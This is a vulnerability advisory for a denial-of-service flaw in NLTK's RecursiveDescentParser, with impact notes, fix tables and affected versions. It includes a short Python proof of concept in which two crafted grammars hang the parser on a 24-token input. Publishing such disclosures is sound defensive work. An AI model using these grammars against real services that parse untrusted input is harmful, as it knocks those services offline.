Skip to content
OpenAdvisories
Medium CVE-2026-12876 GHSA-ff5c-cp5c-9wjfPYSEC-2026-3869

NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars

Published Sep 2, 2026 · Updated Sep 10, 2026 · Assigned by GHSA

Description

`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.

## Proof of concept

Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:

```python
from nltk import CFG
from nltk.parse import RecursiveDescentParser

# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs

# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
```

## Impact

An application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.

## Sibling

The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.

Fixed in Linux distributions

Distributions backport fixes, so the version that fixes this vulnerability differs per release — upgrade to at least the version shown. From the distributions' security trackers and advisories.

ReleasePackageFixed inAdvisory
Debian 14 nltk No fix yet —
Debian 13 nltk No fix yet —
Debian 12 nltk No fix yet —
ReleasePackageFixed inAdvisory
Ubuntu 26.10 nltk No fix yet —
Show 7 more (older releases, extended support, other products)
ReleasePackageFixed inAdvisory
Ubuntu Pro 26.04 LTS nltk No fix yet —
Ubuntu Pro 24.04 LTS nltk No fix yet —
Ubuntu Pro 22.04 LTS nltk No fix yet —
Ubuntu Pro 20.04 LTS nltk No fix yet —
Ubuntu Pro 18.04 LTS nltk No fix yet —
Ubuntu Pro 16.04 LTS nltk No fix yet —
Ubuntu Pro 14.04 LTS nltk No fix yet —

Wolfi

ReleasePackageFixed inAdvisory
Wolfi rolling open-webui 0.11.3-r1 —

Affected packages

EcosystemPackageAffectedFixedRecord
PyPI nltk < 3.10.3 3.10.3 GHSA-ff5c-cp5c-9wjf

References